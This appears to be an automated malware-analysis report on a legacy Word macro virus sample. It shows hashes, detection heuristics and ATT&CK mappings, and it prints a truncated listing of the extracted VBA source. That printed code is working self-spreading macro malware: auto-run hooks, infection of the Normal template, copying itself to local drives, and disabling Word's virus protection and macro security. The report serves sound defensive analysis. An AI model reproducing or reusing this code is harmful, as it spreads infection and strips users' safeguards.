Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a2f9ca29e4012ed0…

MALICIOUS

Office (OLE)

66.5 KB Created: 2002-06-07 14:30:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2411dd6a227a3ce41d23b7d230a45535 SHA-1: 0d8dad4d1634c97dfe1145ddf9c654dee20c71ca SHA-256: a2f9ca29e4012ed06a6f02ca02b9abc969036a1f71da124a79bdecab08aa07a0
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains legacy WordBasic macro virus markers and critical VBA heuristics indicating the use of Shell() and CreateObject calls. The AutoOpen and AutoClose macros suggest immediate execution upon opening and closing. The presence of these indicators, along with the ClamAV detection of 'Win.Trojan.Psycho-3', strongly suggests a malicious document designed to execute arbitrary code, likely for downloading additional malware.

Heuristics 8

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30284 bytes
SHA-256: 38009bd1c6c4d2d754a76d2a666a2c3074929b963beb8d7ace5763bb25a8c2c2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "WinMD"
Private Sub spread()
On Error Resume Next
    Set fs = CreateObject("Scripting.FileSystemObject")
    Set dc = fs.Drives
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, fileformat:=wdFormatDocument
    For Each d In dc
        If d.DriveType = 3 Then
            Path = d.driveletter
            If fs.folderexists(Path + ":\xxx") = False Then
                fs.createfolder (Path + ":\xxx")
                fs.copyfile ActiveDocument.FullName, Path + ":\xxx\xxx.doc"
            End If
        End If
    Next
End Sub
Private Sub WinMD()
On Error GoTo allinfected
stealth
infectnt = True
INFECTAD = True
For I = 1 To NormalTemplate.VBProject.vbcomponents.Count
If NormalTemplate.VBProject.vbcomponents.Item(I).Name = "WinMD" Then infectnt = False
Next
For I = 1 To ActiveDocument.VBProject.vbcomponents.Count
If ActiveDocument.VBProject.vbcomponents.Item(I).Name = "WinMD" Then INFECTAD = False
Next
If infectnt = True Then
    ActiveDocument.VBProject.vbcomponents("WinMD").Export ("c:\winmd.vxd")
    Set victim = NormalTemplate.VBProject
End If
If INFECTAD = True Then
    NormalTemplate.VBProject.vbcomponents("WinMD").Export ("c:\winmd.vxd")
    Set victim = ActiveDocument.VBProject
End If
If INFECTAD = False And infectnt = False Then GoTo allinfected
m0rph
If INFECTAD = True Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, fileformat:=wdFormatDocument
victim.vbcomponents.import ("c:\winmd2.vxd")
Kill "c:\winmd.vxd"
Kill "c:\winmd2.vxd"
If INFECTAD = True Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, fileformat:=wdFormatDocument
If infectnt = True Then NormalTemplate.Save
allinfected:
On Error Resume Next
Kill "c:\winmd.vxd"
Kill "c:\winmd2.vxd"
End Sub
Sub autoopen()
On Error Resume Next
WinMD
encode (0)
spread
End Sub
Sub filesave()
On Error Resume Next
If (InStr(1, ActiveDocument.FullName, "Document", vbTextCompare) <> 1) And (InStr(1, ActiveDocument.FullName, "Äîêóìåíò", vbTextCompare) <> 1) Then
    WinMD
    If ActiveDocument.Paragraphs.Count < 250 Then encode (1)
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, fileformat:=wdFormatDocument
    encode (0)
    ActiveDocument.Saved = True
Else
    filesaveas
End If
End Sub
Sub filesaveas()
On Error Resume Next
WinMD
Dialogs(wdDialogFileSaveAs).Show
If ActiveDocument.Paragraphs.Count < 250 Then encode (1)
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, fileformat:=wdFormatDocument
encode (0)
ActiveDocument.Saved = True
End Sub
Sub fileprint()
On Error Resume Next
trigger
Dialogs(wdDialogFilePrint).Show
End Sub
Sub fileclose()
On Error GoTo ro
If ActiveDocument.Saved = True Then
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, fileformat:=wdFormatDocument
    WinMD
    If ActiveDocument.Paragraphs.Count < 250 Then encode (1)
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, fileformat:=wdFormatDocument
    ActiveDocument.Close savechanges:=wdDoNotSaveChanges
Else
   mess$ = "Save changes before exitting?"
   mess$ = "Ñîõðàíèòü èçìåíåíèÿ â äîêóìåíòå " + ActiveDocument.FullName + "?"
   resp = MsgBox(mess$, vbYesNoCancel + vbExclamation, "Microsoft Word")
   If resp = vbYes Then filesave
   If resp = vbNo Then ActiveDocument.Saved = True
   If resp <> vbCancel Then ActiveDocument.Close savechanges:=wdDoNotSaveChanges
End If
    
ro:
End Sub
Private Sub stealth()
On Error Resume Next
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
Options.VirusProtection = False
Application.ScreenUpdating = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Security", "Level") = 1& 'WinMD
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Securit
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.